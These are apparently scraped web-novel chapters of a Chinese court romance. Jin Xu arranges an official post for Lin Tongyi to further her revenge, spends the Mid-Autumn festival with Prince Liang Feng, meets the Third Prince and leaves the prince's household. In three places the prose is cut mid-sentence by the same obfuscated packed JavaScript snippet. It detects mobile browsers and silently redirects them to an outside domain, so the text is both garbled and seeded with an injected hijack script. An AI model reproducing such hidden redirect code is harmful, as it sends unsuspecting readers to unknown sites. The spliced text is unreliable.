“饿不饿?想吃些什么了吗?” 金絮摇头。 “那我让人晚点备饭。” 她窝在房中休息至傍晚,直到糊在窗户上的阳光色彩渐深,斜斜地照入屋内,空气暖洋洋且静谧,她感觉舒服许多,便走到院子里透气。 这还是她第一次进来竹苑的殿内,比西苑大了许多,树木长得很好。夕阳慢慢变亮,绿叶覆金,吹来的微风已带着初秋的凉意。 屋檐上空黑影一闪,十三踏金飞落,向她呈上一封信件。 “你渴了吧,来喝些茶水。”屋里梁风喊道。 她恍若未闻,拆信阅读。 刚扫了两行字,她合上信纸,不转身道:“我不知你竟会偷看。” 梁风掠过她身侧,站于她跟前,坦然道:“那我便当着你的面看。” “这是我的私信。” “私?”他不知在想什么地瞠了一下眼。 金絮不想给他看,淡淡地后退,避着他阅信。 梁风站在她面前一步外,盯着信纸,像是想把纸盯穿,“我看到了,是林童忆。” 她粗略读过,信中没什么要紧内容,多是林童忆慰问的话,主要关心她在王府里是有什么打算。 “原来你使唤十三就是在与林童忆联系。”梁风幽幽道,微迈半步,想上前又不敢上前,“也没见你给我写信。” “你就在我面前,我给你写什么信?”她将信纸收好。 “还收得这样好,也没见你将我给你的信收得这样好。” “在弄丢之前,我也将你的信收得很好。”她说了一句废话。 梁风嘴角一瘪,流露不满。金絮进屋,将信放在蜡烛上点燃,信燃尽。 “怎么还要烧掉?偷偷摸摸的就不许我看。” “你那么好奇做什么?” “是不是那林童忆在缠着你?他上次救了你,便缠着你不放了?他向你提出什么过分的要求了?” “过分,也不过分。”金絮看着灰烬,慢慢道:“他只是提醒我,我往后的路该怎么走。” “你往后的路?”梁风道:“你往后的路应当来问我。” “问你?”金絮榻边坐下,好整以暇地看着他,“你说说看。” 梁风顿时张了嘴,眼神似乎想说很多,可又什么都没说。 金絮一笑,继而敛起,思绪却变得怔忡。目光越过梁风,再穿过漫无边际的天野,心里想抓住什么,却一片空洞。 “那林童忆跟你提什么要求了?”梁风突兀改问道。 金絮眨眼收回视线,反问:“他还能提什么要求?” “王府没什么生意是可以托他做的。” 他理所当然地把林童忆往经商的方向上想,金絮没做出回应,他转而又愕然道:“他不会是想当官吧?” 金絮没说话,沉默地看着他,看着梁风的眼神里好像有勾子。 梁风似是收到了她的信号,挑了挑眉,“他还真要当官?可他已经行商,再想入仕有些难了。”语气揣摩着,“我看看怎么办吧。” 她闻言晃了一下神,目光虚晃地眨了一下,再难以集中底气看着他,转向茫茫然的苍穹,声音恍若云散:“可以啊。” 梁风紧接道:“那便同他说清楚,让他莫再缠着你了,更不要与你写信。” 金絮站起来,双脚如拖铅步,走到门边,扶住门框停下,还是转头看着他道:“其实他所想也是我所想。” “什么?”梁风没明白。 “没什么,我回屋了。”金絮迈步出屋。 房内,颈背紧贴绸软的被榻,金絮木然地看着帐顶,暖红的纱幔似烟雾,几乎熏晕她的眼。 她其实不知道自己到底想干什么。 复仇还是不复仇。 好像不想,可当梁风提出要她留在王府时半推半就地应了。自己心里清楚,待在王府中才有更多机会接触到朝堂与世卿贵胄; 她更清楚,在温柔馆时,强令众人不许接触官员,是因为怕自己无法控制地四处布置眼线,可即便如此,哪怕在梁风和梁风背后皇帝的双重监视下,她也没有停止与天机阁的联系; 好像想,那为什么这么多年一直没有行动,她到底在犹豫什么、在等什么。 她已经迈出第一步了。 她这条船上已经有了另一个人——虽然不知道林童忆背后是不是别有目的,但他也能算一个了,而且若梁风真能安排林童忆入仕,只要身边有人进入仕途、登入朝堂,她就能着手开始渗入权力中心。 都已经做了,还犹豫什么。 不是说了很多遍,既然做了,就不要回头的吗?而且现在她也已经利用梁风了,更加不可能回头。 这不是她这么多年一直想做的事情吗? 梁风不是已经被她迷惑了吗?他都那么信任她了,这不正是最好的时机吗? 等了近十年,不就是为了现在吗? 她已经长大了,不再是当年那个手无缚力的小女孩了。 金絮双眼空洞洞大睁,却什么也没看见,全然不动地躺着。外表平静的躯干下,骨骼肤肉却爆发出撕碎的尖啸,心脏每一寸起伏都仿佛弹出透骨的挣扎。 她也不知躺了多久,似乎睡着又似乎没睡着,期间有人进出,听见了细碎低语,也没令她完全醒来。 睁眼时脑中完全清明,毫无混沌。 她坐起来,窗外蒙蒙泛蓝,鸟叫时断时续。 她出屋站于檐下,微凉的空气沉沉浮浮,吞吐无比清爽。 她看着天际看了半晌,直到天空完全变亮,她返屋换件衣裳,再次出来唤了一声:“十三。” 十三立即落身面前。 “带我去找他。” 说罢,离开王府,随着十三穿梭在大街笼笼馒头包子的白雾间,听清晨小贩哟喝,她目不斜视。 抵达一栋民楼前,大门紧闭,十三隐身而去。 她敲门,叩击木板的声音窜过街口,她敲不停,待至门内响起一声:“谁啊? 音带好梦被惊醒的困倦,她低声道:“是我。” “金絮? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839794|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”林童忆似乎被她唤得清醒了,“你等会儿。” 她静等片刻,大门拉开,林童忆乱发披散,衣衫只能说尚算整齐。 “你、你怎一大早过来?” “安分王会为你安排入仕。”她开门见山道:“我不知道他打算怎么做,但他应当能做成,只不过,你不一定会入朝,更不会入相府,可能只会是个没有名分与实权的小官。” 许是尚未睡醒,林童忆怔愣道:“啊?怎么、这么突然?” 他眨了眨眼,“你——”又挠了挠头,“你在安分王府就是在做这些么?” 她没答,另道:“之后该怎么做,就等你当了官再说。” 林童忆侧身往屋内看了看,像是对她的初来乍到有些无措,“你——进来坐坐么?” 金絮顺着他让出的空隙看到了屋内,又转眼朝他道:“抱歉,是我太早来打扰你了。我主要是怕晚了的话,安分王会知道我来见过你。” 林童忆闻言视线放在了她身上,眼神似是彻底清醒过来,“你进来坐坐吧,呃,吃早饭了吗?我去买早饭,我这里.....没有厨房。” 她骤然反应过来,“早饭?哦!那、那不用了,我让别人去买。”她叫来十三,让十三去买早饭,也是趁机支开十三。 她在堂屋坐候,林童忆进卧房,一盏茶时间后出来已收拾干净,衣裳整齐,头发梳净,端着一托茶水杯盏,为她倒茶。 她再次开门见山,“不管官是大是小,你入仕后,先想办法打听一个人。” “谁?” “冯棹台。” “冯棹台?”他明显不认识。 “御史中丞,从前温柔馆的常客,你应当见过。” 他凭空想了想,摇摇头,“忆不出样貌。” “你见到就想得起来了,先去接近这些御史,你能很快了解朝中局势,然后看看朝中对于立太子一事站了哪几派人。” 他注视着她,手中茶夹捻着茶叶,神情有些木木的,金絮看出来他听进去了,但也看出来他眼里的茫然。 她垂眸,不知在对谁说:“这就是你要选的路。” 林童忆回过神来,“那之后,具体怎么做?” 金絮沉吟道:“没有哪个皇帝会喜欢看着自己手下人拉帮结派,所以你选皇子时一定不能太过张扬,你本就是新官,而且职小,容易成为靶子,先找好靠山,拜个老师,往后再慢慢走。先要入朝,然后注意接近御史大夫,因为御史大夫就是将来的丞相。” 他听着,神情端讷,半晌后问:“还有呢?” “再往后,我也没头绪,我现在完全不清楚朝廷局势是怎样的。”她语气慢慢,“先等中秋后再看情况。” 林童忆点头,“好,我听你的。” 十三很快送来早饭,她放在桌上,推给他,林童忆道:“你不吃么?” “不了,我回去和安分王吃,不然他会多想。” 林童忆一下凝眸道:“你最近在王府里过的什么日子?不如搬出来吧。” 她一愣,“挺好的啊,只是多少要注意些,小心为上,别让他起疑。” 林童忆神色严肃,“你想如何利用安分王?他在朝中尚有话语权么?” 金絮微顿,缓慢地颔首,“他不如前两年得势了,能做的事情最多就是安排个小官,其余的,我还得另找个人才行。” 梁风在朝中最如日中天的两年是皇帝刚登基、兵权还在他手中的时候,这两年已然失势,且招了皇帝猜忌,若背靠梁风,反而难得皇帝好感。 林童忆驳道:“不用,你从王府里出来,对外的事情交给我,你无需在外奔走、再去找些什么人。” “再说吧。” 说完了,她起身离去。 林童忆也没多言,送她出门。 金絮站在街边,直立立任风吹着。不认得回府的路,唤来十三,她一路只盯着十三,出神地想着各种事情,什么时候回到府中都没察觉。 “你去哪了?” “嗯?啊?”她回了神,看向端坐堂前的梁风。 “发什么呆?用饭去。”梁风牵着她去厨房。 吃着早饭的时候,金絮呆呆道:“还有半月就是中秋了。” “嗯。” 她看着阳光已熟的窗外,鸟叫声变得刺耳起来。 60. 每到中秋 金絮一直拿中秋很无奈。 中秋节是个阖家团圆的日子,可同时也是他母后的忌日。 距离中秋还有十天时,老李来问过她的想法,中秋应该怎么过。 她道:“老李你问我?往年府里是怎么过的今年就怎么过。” 李晟一揖,“金姑娘,自从邓八子去世后,王爷都是在温柔馆内过的,可是今年......” “今年怎样?”她明知故问。 老李打量她一眼,还是恭敬道:“王爷不过中秋节,但下人们是要过的。” 她想象一下那个画面,到中秋那天,府里这边一群下人对月吃饼喝茶谈天,一派欢笑,而另一边梁风独自一人蹲在黑暗的角落里缅怀母亲黯然神伤。 这画面确实不太好看。 “那就让下人提前一天过中秋。”她盖棺。 “这......”李晟拖拉道:“这不合府中规矩,王爷一向不苛待下人,若真提前一天过节,下人们不一定说什么,但是王爷是会不满的。” “那你们去年是怎么过的?” 老李抱拳,殷切道:“姑娘,去年您在灯会时,王爷一直陪着您的。” “所以他果然跟踪我了。”她再次盖棺。 李晟一默,眨了下眼。 她再出主意:“那就让他在皇陵里住一晚。” “金姑娘,目下王爷尚未下令今年是过中秋还是祭拜邓八子。” “那就等他下令。” 李晟深深一揖,“王爷或许自己都拿不准主意。对王爷来讲,与姑娘的团圆也是团圆。” “若姑娘得空,不知能否劳姑娘询问王爷一番,今年应当如何过节?”李管家最终道。 她不知道应该怎么问。 以梁风的性格,就怕他在她问了后,反把问题抛给她,说让她拿主意,还会说,拿的什么主意他都没意见。 在他自己都摇摆不定的事情上,他就爱把问题扔给身边人。 李晟托她去问,也是在怕这个。 说是什么都没意见,可这种事情谁又敢真的独自决断。 邓八子去世这是第五年。前三年她都陪他过,去年在太南擦肩而过没有陪成,往后不知道还能陪他几次。 罢了。是他提出要她相陪的,凡事顺着他的意好了。 “我去问问吧,王爷在哪?” 李晟眼睑的浅纹弯了弯,“多谢姑娘,王爷在书房。” 寻去书房,正巧迎面遇上他。梁风看见她,眼睛一亮。 “阿絮,正要去寻你,府里新买了鱼食。”他笑着拉住她的手,“一起去喂鱼吧。” 金絮由他牵着去往陈心湖。 湖边树枝延伸,影落湖面,她朝湖里一探,枯败的荷枝间,鱼儿可见的肥胖。只是鱼肚过于粗壮,全不似寻常鱼儿那样身线流畅苗条。 “我一直想说,原来你兴在水里养猪。”她打趣道。 梁风一愣,反应过来笑说:“之前也没想到这鱼那么能吃,胃口越来越大。” “还不是因为你连养鱼都惯着,任它们想吃多少便喂多少。” 他拿来鱼食,往水里一撒,粒粒鱼食在水面砸出一口口小碗,胖鱼涌来,争相攀附夺食,一尾压着一尾,透红金黄的鱼鳞蹿滑起来溜光无比。 游聚的一堆像虫子,但五颜六色还算好看。她也撒食投喂,瞥眼梁风,看他心情似乎不错,便直接问道:“中秋打算怎么过?” 他专注喂鱼,闻言朝她偏了一下头,“你决定就好,我听你的。” “往年皇帝会允你去皇陵么?” “允的。”他语气淡然,低头看着鱼群,心里不知在想什么。 “那便祭拜邓八子吧,不过节了。” 他没答话,顾自撒食,金絮等着他说话。 “可我也想与你过中秋。”他看着她道。须臾又说:“你决定吧,我都听你的,反正,你那天要一直陪着我。”他牵住她的手,指腹细细的鱼食渣沫摩擦她的手背。 “我会一直陪着你。”她问:“那过节的话,想怎么过?” “放花灯,吃胡饼之类,其他也行。” “想去看灯会么?” “不想,年年看,人多又吵闹,没什么好看的。” “哦。” 很快便到中秋这天。 金絮大早醒来将一切准备好,再和他驾车去往城郊。 金絮陪着他到皇陵入口,看着他进去,然后等他出来。 今日天气好,风清云阔,晚上一定少云,适宜赏月。 她打着哈欠靠坐车舆,感受阳光的热度。方才路过城内大街,街道店铺已经开始布置夜晚的灯会,屋檐间挂起红绳。她忽然想到他母后去世那天。 每年京城的中秋节一定是很热闹的,彩灯招扬,男男女女脸堆新奇,家家户户的老小结伴同游,猜灯谜、放花灯、吃胡饼,舞狮杂耍沿街上演,冲天烛光穿透满城。 而她在温柔馆里与客同欢。 那时雪姬还没入京,丽姬是独树于百花中最艳丽的一枝,乐曲靡靡,红袖软舞,青年男女的笑声纠缠互溶,整个夜晚曲尽欢意。 这时多有白衣才子吟诗一首,听者中立刻有人提笔写下,诗稿迅速随着欢笑传遍人群与馆阁,艺妓纷纷争来相唱,写得好的甚至能在一夜间传遍京城。 那天就在这欢闹中,她看见梁风独自走进温柔馆。 第一眼便发现他的背脊弯曲了,面容低沉,像是久累未睡,举止惨重,眸光颓丧。目之所及灯红酒绿,似乎只有他一身落魄黑色,服饰都黯淡。 他什么人也没有看,就席坐下,周围姑娘一拥而上,团团围着他,为他敬酒。他来者不拒,一杯接一杯地喝,沉默地喝,在姑娘娇笑的簇拥中,神情割裂。 喝到第几杯,他眼睛动了动,迷茫地抬起头四处搜寻。寻到了她,便一直看着她,然后继续喝。 金絮遥遥与他对视,那目光像是看着她,又不像是看着她,仅仅只是放在她身上心里想着别人。 她察觉异样,却无暇顾及——宾客每每拉她一同猜拳进酒助兴。 不知过了多久,不知他喝了多少,拥簇他的姑娘未得回应,接连离去,他孤落落一人离群独饮。 他忽然放下酒杯,迷蒙的眼神从她身上收走,跌撞起身,迈步上楼。行人肩身与他相撞,他恍若未觉,直上四楼,进入他的房中。 金絮敷衍宾客,终于得以脱身,追他而去。 四楼的寂静漂浮在喧闹边缘,他的房门开敞,没有点灯,未入便已见到他。 梁风似乎跌倒,坐在地上,目光呆滞地看着虚空。门扉投地的烛火影子只抵他身侧,眉眼在黑暗中难见光彩。 不知看到了什么,他忽然两手虚握,像是想要抓到什么,没抓到,眼神茫然无措又不安地四处胡看,最后转眼看见门边的她,便定在她身上。 “金絮......”他空洞的眼睛映着黑暗,愈发空洞。 “母后死了......” “她......她输了。” “她没争过那些人......” 他眼里现出光彩,房外溢满软曲与浮香,而她只听见了梁风压低却撕心裂肺的哭声。 每年京城的中秋节一定是很热闹的,他就在这热闹与欢笑张扬中,悄无声息地没了母亲。 脸上传来轻触,她悠悠睁开眼,看见带笑的眉宇。梁风从皇陵内出来了。 金絮揉揉脸,原来她睡着了。 “这是第一次,我离开皇陵时,外面有你在等我。”他笑眼盈盈。 那天之后,京城便传出,当今安分王竟在母亲去世当日还上青楼寻欢作乐。 他的名声从此一落千丈。 大将军再也不能像从前那般凯旋归来时赢得满楼红袖招了。 “怎么了?”他问。 金絮摇摇头,“没什么,回去吧。” 马车驶动,他们并肩而坐,梁风搭膝盖的手忽然翻开掌心向上,她瞥了眼,把自己手放了上去。 十指相扣,梁风道:“阿絮今日格外依我。” 金絮没理他。 “上次你依我,还是我离开太南那天。”他徐徐道。 金絮听着,莫名感觉他还有后半句话没说,以为他会说,梁风却掀开了车帘探望道:“不回府?这是去哪儿?” “长门寺。”她笑答:“中秋嘛,去求支签。” “什么签?姻缘么?” 他轻快地一挑眉,金絮没答话。 马车抵达,二人落车。 长门寺香客鼎盛,烟火缭绕,随处都能嗅得满嘴香烟气。 入了寺,她想去求平安符,他想去求姻缘签。 两人站在寺门口拉扯对峙。 求个姻缘签倒也没什么,时间也足够,她主要是担心,万一抽了个下签,会坏了这一天的心情。 梁风固执地站着,固执地看着她。 “好吧,那就去吧。”金絮依他,先去问姻缘。 “你求你的姻缘,不要求我的,我在这等你。”庙门口,她道。 “你不陪我?” “我就在这里,你一眼能看到。” 他便去了。金絮有些无奈。这样她不一起去,万一抽了个坏签,万一不想给她看见的话,也好容他遮掩遮掩。 香客进进出出,没等一会儿,梁风出来,指尖捏着张字条,神情得意。 她松口气,待他走近,不等他说话,抢先道:“不用告诉我你签的什么,你自己知道就好。” 他脸垮了,“你不想知道?” “不想。”她举步朝求平安符的地方去,若是签得不好,他自然不会是这个表情。 “真的不想知道?” “真的不想。” “哼。” 不理他的冷哼,金絮顺利地求得一枚平安符。 他又问:“这平安符你是给自己求的么?” “肯定啊。” 他又一哼,扭头踏上马车,“回府!” 马车里,梁风看着窗外不看她,金絮只好哄了哄,“给你的给你的行了吧?” 他脸些许转过来,“那你的呢?” “下次我再去求,你不用管。”她拿出那枚亮黄亮黄的小符,穿了一条红绳,符内写了字,递给他。 他伸出手,“系上。” 看见手腕缠着的发带,她神色不变地将黄符系在发带的一端,他双眼稍稍满意。 回到王府,这次是她牵着他。 注意到梁风脸上竟然轻轻带着笑意,她有些疑惑,仔细看看,想看出他是不是强颜欢笑。 “跟从前不同,今日你只陪我一个人。”他笑着紧紧握住她,“我们做什么?” 她收回探究,“先不告诉你,天黑了再说。” 晚膳清淡简约却丰盛,她与梁风两人就席,其余仆从隔得远远的。 饭食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839795|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多鱼,她吃得满嘴腥味,梁风兴致很高,不断给她夹菜,与她谈天说地。 饭后,她喝茶清口,带他到陈心湖散步消食。 绕过抄手游廊,一片盛亮的烛光近在眼前。 “怎么了?”他问。 “我沿湖简单布置了一个小灯会,可以猜灯谜,还有糖画之类的,随便看看。” 是俗,但她想不出别的新意了。 两个人的灯会,多少比外面大街一条的灯会要多几分意境吧。 他眼睛流露欣意,快走几步,进入烛火的包围圈。 金絮随他后,其实走近看也没那么亮,树梢间的横绳每条悬挂四只彩灯,摊铺都没有小贩招呼哟喝,很寂静,更没有人。整个灯会只有他们两个。 “我早晨过来还什么都没有,一个下午就布置好了。”他似乎蛮开心的。 “猜个灯谜吧,猜对了我给你画糖画。”金絮道。 他站到贴满灯谜的绳前,浏览道:“半青半紫——是素。” “格外大方——是回。” “仲尼日月也——一孔之见。” 他看着她道:“三个。” 她站在糖画铺子里,搅搅糖浆,开始画画。 “这些都太简单了。”他笑道:“不如我考你一个。” “你问。我答对一个便少画一个。” “好,我便问你。你猜,我那支姻缘签上写着什么?” 她头都不抬,“这不是灯谜,换一个。” “你便猜猜,猜对了,我给你画糖画。” 她画好一支,是云朵状,提前速学了这门手艺,粗糙得很,画出来的东西只勉强有个画样的轮廓。 “签上是......说你定能觅得良缘?”她顺从地开始猜。 梁风咬掉云朵的一角,齿间脆响,殷殷道:“猜对了,你想看看么?” 府外亮满数条大街的中秋佳宴游人如织、盛闹无比,他却屈尊在这小小的灯会,金絮还是想竭力哄他开心,转移他的注意力,便道:“那我看看吧。” 他笑,拿出了那张签纸,递给她。 金絮打开,是中签,只有四个字:得偿所愿。 她合纸笑道:“恭喜恭喜,这签好啊。” “是挺好。我便再给你出个谜,你猜,我的愿是什么?” “自然是你心悦的人啊。”她客气地捧场。 “你再猜,我心悦的人是谁?” 他似乎十分有耐心,金絮稍许敛笑,道:“猜不到。” 梁风脸上的欣意骤消,漆黑瞳眸牢牢盯住她,嘴唇抿着,神色晦暗,似无奈,又似怅然。 金絮一手一支糖画伸给他,“画好了,三个。” 他没接,有些气她,“我看你装到什么时候。” 她也无所谓他不接,微微一笑,轻声道:“我能装一辈子。” 指尖转着糖画,她往前走,走了几步,感觉他没跟上来便停住脚,抬头恰巧看见远处树梢捧着的月亮,圆得狠。 她赏了一赏,指尖的糖画还在转着。 她转身,梁风还站在原地,沉默地看着她,却眼神飘忽,神情怔寂,不知在想什么。 金絮唤回他的注意力,“月亮正好,吃胡饼去吧。” 她已在湖心亭备好清酒与胡饼,与他小酌。 坐卧亭下,正好能看见月亮。 梁风沉默地喝着,金絮坐在他对面。她不想说这些,因为会坏心情,哪怕换一天说都好。 “别光喝,这饼不错的。” 胡饼虽然是买的,但味道相当好,不吃就太过可惜了。 梁风依言边吃边喝,金絮陪着。他不是特别能喝,但也不至于五六杯就倒,相较之下,她的酒量还稍好些。 她靠在榻边,赏起月来,梁风闷闷地喝着。 怕他会太醉,她索性不喝了。 沉默间,夜色逐渐变深。 忽然,他眉目一凝,磕下杯盏,严肃地看着她,“你与我说清楚,装一辈子是什么意思?” “改日与你说。”她哄道。 “不行,我非要你今天跟我说。” “想听假话?” 他神情霎时顿住,双眼微瞠,愣愣地看着她。金絮静静等他下文。 梁风嘴唇嗡动,没有说话,眼里已有醉意浮上来。 “你、你与我说清楚......”他还是问,却撇头不与她对视。 她姿势不变,轻轻问道:“想听真话还是假话?” 他嘴唇变白,下颚紧咬,低头一瞬不瞬地看着桌面,手指捏着酒盏细细的杯脚,全身绷紧的线条隐在颤抖。 他缓缓吐出尾音漂浮的两个字,“假话。” 料到他会这么选,金絮面色不变,看着他露出一笑,“我也心悦你。” 他眼中满映烛火,烛火几欲掉出来。 “为什么?”声音像是从他的喉咙缝挤出。 “我想要的你给不了,你甚至无法给你自己想要的生活。” 她平静的声音惊起陈心湖水,一滴水落在桌面,映着满月。 “也是。”他一笑,端酒杯欲饮,却发觉杯中已空。 金絮按下他再要提壶的手,“别喝了,看看月亮。”她起身坐到他旁边,给他端一份胡饼。 梁风怔怔地看着月亮,没过多久,执起了她的手。 余下的夜与他聊到很晚,眼看月亮在天幕降下大半,她聊着聊着睡着了。 61. 三皇子(一) 金絮醒来时,梁风还在睡。 她记得昨夜睡着后,梁风将她抱回了卧房,他直接在这儿留宿,睡侧面的席榻上。 好像都没沐浴。她爬起来备水,再唤老李备好早饭和醒酒茶,回到房中时恰好听见一声沙哑的呼唤:“阿絮。” 她扬声应答,立即走进去,梁风坐在被子里,睡眼迷蒙地看她,慢慢地,迷蒙的眼神逐渐清晰。 她挪开视线,“我备了水,要不要先洗澡?” 梁风嗓子有点酒后晨醒的涩哑,“我还以为你已经走了。” 金絮神色不变,拿他的衣裳出来,“我要离府会先与你说的。” 他轻轻一哼,意味不明,“那天你就是不告而别,我一醒来就找不到你了。你还喂我喝血。” “我哪有。”将他衣裳备好,答道:“这次不会。”接着便听见他又躺了回去。 金絮悄悄退出,叫进服侍他的丫鬟,自己去另一处浴室洗好了澡,出来就见十三在门外候着。 “姑娘,林公子想见你。” “他有说什么事吗?” “没有。” 她想了想道:“你跟他说,等我得空就去找他。” “是。”十三离去。 她走出西苑,看见这个住了些时日却未完全熟悉的院子恍惚了一瞬,天气刮起了秋风,指缝被风塞满,裙裾吹得贴身。 饿了,她快步去吃饭,梁风已在一桌早饭前等她了。 梁风跟她一对眼就皱起眉头,“穿多件衣裳,天气凉了,昨夜又吹了一夜风。” 她无所顾忌,坐下夹一个包子,“是啊,昨夜吹了一夜风。” 她话说得暗含了些韵味,梁风顺着她的话问:“吹的什么风?”随手给她舀粥。 “凉风。” “湖边的柳絮也吹了一夜。” “湖边哪来的柳絮?” “被那凉风吹来的。” “让柳絮再被风吹走就好,不用理。” “可是凉风不愿意吹。” “那就等另一阵风来吹。” “屋子就这么大,挤满了,旁的风吹不进来。” “挤满了,柳絮也容不下。” 他不说话,金絮接道:“柳絮再不走就被挤得扭曲了。” 他闷闷吃早饭,神情像是在赌气,金絮边吃边想着还有什么事情是要在王府里做的。 没什么了,只有林童忆的官位,她便直接开口,问了这件事。 “做官是没问题了,但我最多让他做一个宿卫。” 宿卫位太低了点,但好歹算入仕,以后要升迁也好说。 梁风看着她,张嘴欲语,却犹豫了,开口似是换了一句话:“要留十三给你使唤么?” 她也想到了这一问题,留着,有个好用的人,可多了条梁风的眼线。 还未开口,梁风便替她答:“我还是召回十三吧,省得你又气我安排人在你身边。” 她不接话,认真吃起早饭来。 梁风不时看她,心事重重地搅着鱼粥,金絮当做没看见。 饭席余下的时间他都没说话,金絮吃得差不多了,便道:“我这算跟你道过别了?” 他立刻接道:“不算。” “怎样才算?”金絮很有耐心。 “你一定要走?” “嗯。” “往后住哪儿?太南?你独自一人回去我不放心,不如我遣人送你,或者......我送你也行。” “不,我今年应当不回太南。” 他面色转喜,“那你是待在京城么?我给你安排宅子。” “不用,我自己能想办法。” 他拿她的手,“那你安顿下来后告诉我住在何处,我想见你时便去找你。” 金絮不言语地看着他,看了半晌。看到梁风露出疑惑,“阿絮?” “可以啊。”她笑道。 梁风嘴角一勾,放下她的手继续用饭。 金絮吃不下了,看着他吃饭的模样,忽然道:“我就是有点怕我坚定下来。” 她这话说得没头没尾,梁风吞下一口粥疑惑地看着她。 “我还一直觉得是你缺乏决心,其实我也并不坚定。” “什么?” “我要是坚定下来,就把决心分你一半啊。”她笑道。 梁风还要再问,门外老李匆匆进来,揖道:“王爷,三皇子殿下来找您,下人没拦住,直接进来了。” “与棣?”梁风微微蹙眉,看向她,“你要不要先避让一会儿?” “怎么了?” “皇叔,侄儿来看您来了。” 遥遥一道散漫的陌生男子声音传入她耳中。 她随声转头好奇看门外,便见来人身影划过薄窗,出现在眼前。 模样英俊,身姿挺拔,帝王家的子女气度都是不凡。 梁与棣步子落稳的一刹,扫眼与她对视了片刻。金絮赶忙低头行礼,却没有错过他眼中骤亮的光彩。 她想到的却是从前在温柔馆里常听姑娘们说起的这位三皇子。梁与棣喜欢风尘女子却不爱上青楼,行事作风是极为风流放浪的,此刻一看,风流固然风流,但那眼神里却暗藏着内敛深沉,一眼琢磨不出深浅。 这类人她在温柔馆也见得多了,以为可以用沉湎酒色的外表麻痹旁人,实际上,明眼人一个照面就能看得出来。 只不过,三皇子应当也是真的好色。 仅这一眼,她便肯定,这三皇子往后定会主动来找她。 “与棣怎么来了?”梁风问。 “上次与曦办宴没邀请我,她在我面前得意,说皇叔带了个客卿一同赴宴,我还挺好奇什么样的人能得皇叔青眼,这便来见识一番了。” 梁与棣边说边走近,说话时一双眼睛始终看着她,眼神无法忽视。她仍旧低着头。梁风站到她面前挡住了视线,手伸向后护住她,“前几月我去了趟太南郡,遇见了她,相谈甚欢,便带她来京城四处看看。” 梁风声音低沉无甚起伏,她却听出一点不悦。 “原来慕红姑娘是太南人?”三皇子似是饶有趣味,想越过梁风看过来,梁风侧步为她一挡。 “啧,皇叔你挡什么?” “她只是我的客卿,在我这住得久了太过露面到底不妥,近日我便准备送她离去。”梁风声音难辨喜怒。 金絮越听越疑惑,这时梁风转过来,同她道:“你先回西苑。” 她依言,朝两人行礼,跟随李管家离开。 本想听一听墙脚,但老李在场不太方便,她于是回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839796|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西苑,坐在院子的树下等待大概一炷香后,梁风打发完三皇子过来了。 “你不太喜欢三皇子?” 梁风就石凳坐下,眉头不展,“不是不喜欢,只是与棣这人太过贪心。” “怎么说?” “与棣从小得皇兄喜爱,看上什么便一定要得到手,旁人有他没有的东西更是要得到,小时候甚至会跟与義抢一朵皇兄摘的花;我几次出征,他竟也吵着要跟我一同去。后来大了,跟我讨要过荆风,我没给,他怕是心有不甘,还跟我要过李婶。” “李婶?” 梁风颔首,“与棣总说我偏心,说与義向我要什么都给,而他要的我却不给,经常去跟皇兄告状,可是与義只会向我要赌输欠下的银子,从未开口说要荆风或者李婶。” 她似乎有一点懂了,判断道:“难怪皇帝到现在都没再立太子,因为根本没合适的人选。” 他握住她的手,“刚才我怕与棣想讨了你去。” 金絮想也没想就说:“我又不是你的东西。” 梁风摇摇头,“你若是我的就好了,我还能护着你,你若身边没了我......与棣应当也做不出来强抢民女这种事,我就怕......” “反正你往后躲着他些。”他盖棺道。 金絮默默听着不答话。 梁风拉了拉她的手,示意她看着他。 “你要走了。” “嗯。” 梁风固执地拉着她走进屋内,迎面看见了她收拾好了放在桌上的包袱,脚步微微一顿,再又快步上前拿过她的包袱,牵着她往大门走去。 她东西少,总共只有几件衣裳和纸稿,纸稿上次都烧了,行李很轻便。 “你预备住何处?我送你过去。” “随便一处客栈就好。” 他双腿刹住,转头略恼道:“住客栈?那还不如与我一起住。” 她凉凉道:“你不要名声我还要名声。” 说罢,抛下他自行离开王府。 沿街挑选客栈,走得远一点,选了处僻静人少的客栈,最高层。 付了银子,她推开窗,视野开阔,梁风在她身后不满道:“你一个人住这里多不安全,我让十三留你身边吧。” “不用,我就住一段时间,准备入冬前买处宅子,只是不知道买什么样的好。” “我给你买。” “不要。” 他无奈闭目片刻,道:“我帮你找,找好了你付银子行吗?” “也不要,你找的我不喜欢。” “我还没给你找,你怎知不喜欢?”梁风皱眉瞪她,“我不许你这样说。” “好好好,你找的我会喜欢,但是我想自己找。”她哄着。 梁风知道她是在哄他,不满的神色微怨,索性坐下,幽幽看着她。 